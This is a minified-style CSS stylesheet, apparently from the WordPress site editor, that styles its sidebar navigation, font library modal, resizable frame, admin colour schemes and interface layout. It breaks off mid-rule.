.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{
  color:#fff;
}
.edit-site-sidebar-navigation-screen__input-control{
  width:100%;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__container{
  background:#2f2f2f;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{
  color:#e0e0e0 !important;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__input{
  background:#2f2f2f !important;
  border-radius:2px;
  color:#e0e0e0 !important;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{
  border:4px !important;
}
.edit-site-sidebar-navigation-screen__input-control .components-base-control__help{
  color:#949494;
}

.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{
  background:none;
}
.edit-site-sidebar-navigation-screen-details-footer .edit-site-sidebar-navigation-screen-details-footer__icon{
  margin-left:auto;
  fill:#949494;
}

.sidebar-navigation__more-menu .components-button{
  color:#e0e0e0;
}
.sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{
  color:#f0f0f0;
}

.edit-site-sidebar-navigation-screen-page__featured-image-wrapper{
  background-color:#2f2f2f;
  border-radius:4px;
  margin-bottom:16px;
  min-height:128px;
}

.edit-site-sidebar-navigation-screen-page__featured-image{
  align-items:center;
  background-position:50% 50%;
  background-size:cover;
  border-radius:2px;
  color:#949494;
  display:flex;
  height:128px;
  justify-content:center;
  overflow:hidden;
  width:100%;
}
.edit-site-sidebar-navigation-screen-page__featured-image img{
  height:100%;
  object-fit:cover;
  object-position:50% 50%;
  width:100%;
}

.edit-site-sidebar-navigation-screen-page__featured-image-description{
  font-size:12px;
}

.edit-site-sidebar-navigation-screen-page__excerpt{
  font-size:12px;
  margin-bottom:24px;
}

.edit-site-sidebar-navigation-screen-page__modified{
  color:#949494;
  margin:0 0 16px 16px;
}
.edit-site-sidebar-navigation-screen-page__modified .components-text{
  color:#949494;
}

.edit-site-sidebar-navigation-screen-page__status{
  display:inline-flex;
}
.edit-site-sidebar-navigation-screen-page__status time{
  display:contents;
}
.edit-site-sidebar-navigation-screen-page__status svg{
  height:16px;
  margin-right:8px;
  width:16px;
  fill:#f0b849;
}
.edit-site-sidebar-navigation-screen-page__status.has-future-status svg,.edit-site-sidebar-navigation-screen-page__status.has-publish-status svg{
  fill:#4ab866;
}

.edit-site-sidebar-navigation-screen-templates__templates-group-title.components-item{
  border-top:1px solid #2f2f2f;
  color:#e0e0e0;
  font-size:11px;
  font-weight:500;
  padding:24px 6px 16px 16px;
  text-transform:uppercase;
}

.edit-site-sidebar-navigation-details-screen-panel{
  margin:24px 0;
}
.edit-site-sidebar-navigation-details-screen-panel:last-of-type{
  margin-bottom:0;
}
.edit-site-sidebar-navigation-details-screen-panel .edit-site-sidebar-navigation-details-screen-panel__heading{
  color:#ccc;
  font-size:11px;
  font-weight:500;
  margin-bottom:0;
  padding:0;
  text-transform:uppercase;
}

.edit-site-sidebar-navigation-details-screen-panel__label.edit-site-sidebar-navigation-details-screen-panel__label{
  color:#949494;
  flex-shrink:0;
  width:100px;
}

.edit-site-sidebar-navigation-details-screen-panel__value.edit-site-sidebar-navigation-details-screen-panel__value{
  color:#e0e0e0;
}

.edit-site-sidebar-navigation-screen-pattern__added-by-description{
  align-items:center;
  display:flex;
  justify-content:space-between;
  margin-top:24px;
}

.edit-site-sidebar-navigation-screen-pattern__added-by-description-author{
  align-items:center;
  display:inline-flex;
}
.edit-site-sidebar-navigation-screen-pattern__added-by-description-author img{
  border-radius:12px;
}
.edit-site-sidebar-navigation-screen-pattern__added-by-description-author svg{
  fill:#949494;
}

.edit-site-sidebar-navigation-screen-pattern__added-by-description-author-icon{
  height:24px;
  margin-right:8px;
  width:24px;
}

.edit-site-sidebar-navigation-screen-patterns__group{
  margin-bottom:24px;
}
.edit-site-sidebar-navigation-screen-patterns__group:last-of-type{
  border-bottom:0;
  margin-bottom:0;
  padding-bottom:0;
}

.edit-site-sidebar-navigation-screen-patterns__group-header{
  margin-top:16px;
}
.edit-site-sidebar-navigation-screen-patterns__group-header p{
  color:#949494;
}
.edit-site-sidebar-navigation-screen-patterns__group-header h2{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.edit-site-sidebar-navigation-screen-template__added-by-description{
  align-items:center;
  display:flex;
  justify-content:space-between;
  margin-top:24px;
}

.edit-site-sidebar-navigation-screen-template__added-by-description-author{
  align-items:center;
  display:inline-flex;
}
.edit-site-sidebar-navigation-screen-template__added-by-description-author img{
  border-radius:12px;
  height:20px;
  width:20px;
}
.edit-site-sidebar-navigation-screen-template__added-by-description-author svg{
  fill:#949494;
}

.edit-site-sidebar-navigation-screen-template__added-by-description-author-icon{
  align-items:center;
  display:inline-flex;
  height:24px;
  justify-content:center;
  margin-right:4px;
  width:24px;
}

.edit-site-sidebar-navigation-screen-template__template-area-button{
  align-items:center;
  border-radius:4px;
  color:#fff;
  display:flex;
  flex-wrap:nowrap;
  width:100%;
}
.edit-site-sidebar-navigation-screen-template__template-area-button:focus,.edit-site-sidebar-navigation-screen-template__template-area-button:hover{
  background:#2f2f2f;
  color:#fff;
}

.edit-site-sidebar-navigation-screen-template__template-area-label-text{
  flex-grow:1;
  margin:0 16px 0 4px;
}

.edit-site-sidebar-navigation-screen-template__template-icon{
  display:flex;
}

.edit-site-sidebar-navigation-screen-dataviews__group-header{
  margin-top:32px;
}
.edit-site-sidebar-navigation-screen-dataviews__group-header h2{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.edit-site-sidebar-dataviews-dataview-item{
  border-radius:2px;
  padding-right:8px;
}
.edit-site-sidebar-dataviews-dataview-item .edit-site-sidebar-dataviews-dataview-item__dropdown-menu{
  min-width:auto;
}
.edit-site-sidebar-dataviews-dataview-item:focus,.edit-site-sidebar-dataviews-dataview-item:hover,.edit-site-sidebar-dataviews-dataview-item[aria-current]{
  background:#2f2f2f;
  color:#e0e0e0;
}
.edit-site-sidebar-dataviews-dataview-item.is-selected{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.edit-site-site-hub{
  align-items:center;
  display:flex;
  gap:8px;
  justify-content:space-between;
}
.edit-site-site-hub .edit-site-site-hub__container{
  gap:0;
}
.edit-site-site-hub .edit-site-site-hub__site-title,.edit-site-site-hub .edit-site-site-hub__site-view-link,.edit-site-site-hub .edit-site-site-hub_toggle-command-center{
  transition:opacity .1s ease;
}
.edit-site-site-hub .edit-site-site-hub__site-title.is-transparent,.edit-site-site-hub .edit-site-site-hub__site-view-link.is-transparent,.edit-site-site-hub .edit-site-site-hub_toggle-command-center.is-transparent{
  opacity:0 !important;
}
.edit-site-site-hub .edit-site-site-hub__site-view-link{
  flex-grow:0;
  margin-right:var(--wp-admin-border-width-focus);
}
.edit-site-site-hub .edit-site-site-hub__site-view-link svg{
  fill:#e0e0e0;
}

.edit-site-site-hub__post-type{
  opacity:.6;
}

.edit-site-site-hub__view-mode-toggle-container{
  background:#1e1e1e;
  flex-shrink:0;
  height:60px;
  width:60px;
}
.edit-site-site-hub__view-mode-toggle-container.has-transparent-background{
  background:#0000;
}

.edit-site-site-hub__text-content{
  overflow:hidden;
}

.edit-site-site-hub__title{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.edit-site-site-hub__site-title{
  color:#e0e0e0;
  flex-grow:1;
}

.edit-site-site-hub_toggle-command-center{
  color:#e0e0e0;
}
.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{
  fill:#f0f0f0;
}

.edit-site-sidebar-navigation-screen__description{
  margin:0 0 32px;
}

.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf{
  border-radius:2px;
  max-width:calc(100% - 4px);
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf[aria-current]{
  background:#2f2f2f;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block__menu{
  margin-left:-8px;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected>td{
  background:#0000;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents{
  color:inherit;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:not(:hover) .block-editor-list-view-block__menu{
  opacity:0;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover{
  color:#fff;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus .block-editor-list-view-block__menu-cell,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover .block-editor-list-view-block__menu-cell{
  opacity:1;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){
  background:#0000;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch):hover{
  background:#2f2f2f;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block__contents-cell{
  width:100%;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{
  white-space:normal;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{
  margin-top:3px;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{
  padding-right:0;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button{
  color:#949494;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button[aria-current]{
  color:#fff;
}

.edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{
  display:block;
  margin-left:auto;
  margin-right:auto;
}

.edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{
  display:none;
}

.edit-site-site-icon__icon{
  fill:currentColor;
  transition:padding .3s ease-out;
}
@media (prefers-reduced-motion:reduce){
  .edit-site-site-icon__icon{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{
  padding:6px;
}

.edit-site-site-icon__image{
  background:#333;
  border-radius:4px;
  height:100%;
  object-fit:cover;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-site-icon__image{
  border-radius:0;
}

.edit-site-style-book{
  height:100%;
}

.edit-site-style-book.is-button,.edit-site-style-book__iframe.is-button{
  border-radius:8px;
}
.edit-site-style-book__iframe.is-focused{
  outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);
  outline-offset:calc(var(--wp-admin-border-width-focus)*-2);
}

.edit-site-style-book__tabs [role=tablist]{
  background:#fff;
  color:#1e1e1e;
}
.edit-site-style-book__tabs [role=tabpanel]{
  bottom:0;
  left:0;
  overflow:auto;
  padding:0;
  position:absolute;
  right:0;
  top:48px;
}

.edit-site-editor-canvas-container{
  background:#fff;
  border-radius:2px;
  bottom:0;
  left:0;
  overflow:hidden;
  position:absolute;
  right:0;
  top:0;
  transition:all .3s;
}

.edit-site-editor-canvas-container__close-button{
  background:#fff;
  position:absolute;
  right:8px;
  top:6px;
  z-index:1;
}

.edit-site-resizable-frame__inner{
  position:relative;
}
body:has(.edit-site-resizable-frame__inner.is-resizing){
  cursor:col-resize;
  user-select:none;
  -webkit-user-select:none;
}

.edit-site-resizable-frame__inner.is-resizing:before{
  content:"";
  inset:0;
  position:absolute;
  z-index:1;
}

.edit-site-resizable-frame__inner-content{
  inset:0;
  position:absolute;
  z-index:0;
}

.edit-site-resizable-frame__handle{
  align-items:center;
  background-color:#75757566;
  border:0;
  border-radius:4px;
  cursor:col-resize;
  display:flex;
  height:64px;
  justify-content:flex-end;
  padding:0;
  position:absolute;
  top:calc(50% - 32px);
  width:4px;
  z-index:100;
}
.edit-site-resizable-frame__handle:before{
  content:"";
  height:100%;
  left:100%;
  position:absolute;
  width:32px;
}
.edit-site-resizable-frame__handle:after{
  content:"";
  height:100%;
  position:absolute;
  right:100%;
  width:32px;
}
.edit-site-resizable-frame__handle:focus-visible{
  outline:2px solid #0000;
}
.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{
  background-color:var(--wp-admin-theme-color);
}

.edit-site-push-changes-to-global-styles-control .components-button{
  justify-content:center;
  width:100%;
}

@media (min-width:782px){
  .font-library-modal.font-library-modal{
    width:65vw;
  }
}
.font-library-modal .components-modal__header{
  border-bottom:none;
}
.font-library-modal .components-modal__content{
  margin-bottom:70px;
  padding-top:0;
}
.font-library-modal .font-library-modal__subtitle{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}
.font-library-modal .components-navigator-screen{
  padding:3px;
}

.font-library-modal__tabpanel-layout{
  margin-top:32px;
}
.font-library-modal__tabpanel-layout .font-library-modal__tabpanel-layout__footer{
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:32px;
  height:70px;
  margin:0 -32px -32px;
  padding:16px 32px;
  position:absolute;
  width:100%;
}

.font-library-modal__tabpanel-layout .components-base-control__field{
  margin-bottom:0;
}

.font-library-modal__font-card{
  border:1px solid #e0e0e0;
  height:auto;
  margin-top:-1px;
  padding:16px;
  width:100%;
}
.font-library-modal__font-card:hover{
  background-color:#f0f0f0;
}
.font-library-modal__font-card .font-library-modal__font-card__name{
  font-weight:700;
}
.font-library-modal__font-card .font-library-modal__font-card__count{
  color:#757575;
}

.font-library-modal__font-variant_demo-image{
  display:block;
  height:24px;
  width:auto;
}

.font-library-modal__font-variant_demo-text{
  flex-shrink:0;
  transition:opacity .3s ease-in-out;
  white-space:nowrap;
}
@media (prefers-reduced-motion:reduce){
  .font-library-modal__font-variant_demo-text{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.font-library-modal__font-variant{
  border-bottom:1px solid #e0e0e0;
  padding-bottom:16px;
}

.font-library-modal__tabs [role=tablist]{
  background:#fff;
  border-bottom:1px solid #ddd;
  margin:0 -32px;
  padding:0 16px;
  position:sticky;
  top:0;
  z-index:1;
}

.font-library-modal__upload-area{
  align-items:center;
  display:flex;
  height:256px;
  justify-content:center;
  width:100%;
}

button.font-library-modal__upload-area{
  background-color:#f0f0f0;
}

.font-library-modal__local-fonts{
  margin:0 auto;
  width:80%;
}
.font-library-modal__local-fonts .font-library-modal__upload-area__text{
  color:#757575;
}

.font-library__google-fonts-confirm{
  align-items:center;
  display:flex;
  justify-content:center;
  margin-top:64px;
}
.font-library__google-fonts-confirm h3{
  font-size:1.4rem;
}
.font-library__google-fonts-confirm .components-card{
  max-width:400px;
  min-width:350px;
  width:50%;
}

.edit-site-pagination .components-button.is-tertiary{
  height:32px;
  justify-content:center;
  width:32px;
}

body.js #wpadminbar{
  display:none;
}

body.js #wpbody{
  padding-top:0;
}

body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{
  background:#fff;
}
body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{
  padding-left:0;
}
body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{
  padding-bottom:0;
}
body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{
  display:none;
}
body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{
  left:-1px;
  top:-1px;
}
body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{
  border-right-color:#fff;
}
body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

body.js.site-editor-php{
  background:#1e1e1e;
}

.components-modal__frame,.edit-site{
  box-sizing:border-box;
}
.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.edit-site *,.edit-site :after,.edit-site :before{
  box-sizing:inherit;
}

.edit-site{
  height:100vh;
}
@media (min-width:600px){
  .edit-site{
    bottom:0;
    left:0;
    min-height:100vh;
    position:fixed;
    right:0;
    top:0;
  }
}
.no-js .edit-site{
  min-height:0;
  position:static;
}
.edit-site .interface-interface-skeleton{
  top:0;
}
.edit-site .interface-complementary-area__pin-unpin-item.components-button{
  display:none;
}
.edit-site .interface-interface-skeleton__content{
  background-color:#1e1e1e;
}
@keyframes edit-post__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-panel__header.interface-complementary-area-header__small{background:#fff;padding-right:4px}.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}@media (min-width:782px){.components-panel__header.interface-complementary-area-header__small{display:none}}.interface-complementary-area-header{background:#fff;padding-right:4px}.interface-complementary-area-header .components-button.has-icon{display:none;margin-left:auto}.interface-complementary-area-header .components-button.has-icon~.components-button{margin-left:0}@media (min-width:782px){.interface-complementary-area-header .components-button.has-icon{display:flex}.components-panel__header+.interface-complementary-area-header{margin-top:0}}.interface-complementary-area{background:#fff;color:#1e1e1e}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:48px}@media (min-width:782px){.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:0}}.interface-complementary-area p:not(.components-base-control__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:auto;right:10px;top:auto}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-left:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container{position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;max-height:100%;position:fixed;right:0;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{left:0}@media (min-width:783px){.interface-interface-skeleton{left:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{left:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{left:160px}}.folded .interface-interface-skeleton{left:0}@media (min-width:783px){.folded .interface-interface-skeleton{left:36px}}body.is-fullscreen-mode .interface-interface-skeleton{left:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media (min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;left:0;position:absolute;right:0;top:0;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important;width:auto}.is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{z-index:90}}.interface-interface-skeleton__sidebar{overflow:auto}@media (min-width:782px){.interface-interface-skeleton__sidebar{border-left:1px solid #e0e0e0}.interface-interface-skeleton__secondary-sidebar{border-right:1px solid #e0e0e0}}.interface-interface-skeleton__header{border-bottom:1px solid #e0e0e0;color:#1e1e1e;flex-shrink:0;height:auto;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;left:0;position:absolute;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:auto;position:fixed!important;right:0;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-left:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-more-menu-dropdown{margin-left:-4px}.interface-more-menu-dropdown .components-button{padding:0 2px;width:auto}@media (min-width:600px){.interface-more-menu-dropdown{margin-left:0}.interface-more-menu-dropdown .components-button{padding:0 4px}}.interface-more-menu-dropdown__content .components-popover__content{min-width:300px}@media (min-width:480px){.interface-more-menu-dropdown__content .components-popover__content{max-width:480px}}.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{padding:0}.components-popover.interface-more-menu-dropdown__content{z-index:99998}.interface-pinned-items{display:flex;gap:8px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}}.dataviews-wrapper{box-sizing:border-box;height:100%;overflow:auto;scroll-padding-bottom:64px;width:100%}.dataviews-filters__view-actions{flex-shrink:0;left:0;margin-bottom:12px;padding:12px 32px 0;position:sticky}.dataviews-filters__view-actions .components-search-control .components-base-control__field{max-width:240px}.dataviews-filters__container{padding-right:32px}.dataviews-filters-button{position:relative}.dataviews-pagination{background-color:#fff;border-top:1px solid #f0f0f0;bottom:0;color:#757575;flex-shrink:0;left:0;padding:12px 32px;position:sticky}.dataviews-pagination__page-selection{color:#1e1e1e;font-size:11px;font-weight:500;text-transform:uppercase}.dataviews-filters-options{margin:32px 0 16px}.dataviews-view-table-wrapper{overflow-x:auto}.dataviews-view-table{border-collapse:collapse;border-color:inherit;color:#757575;position:relative;text-indent:0;width:100%}.dataviews-view-table 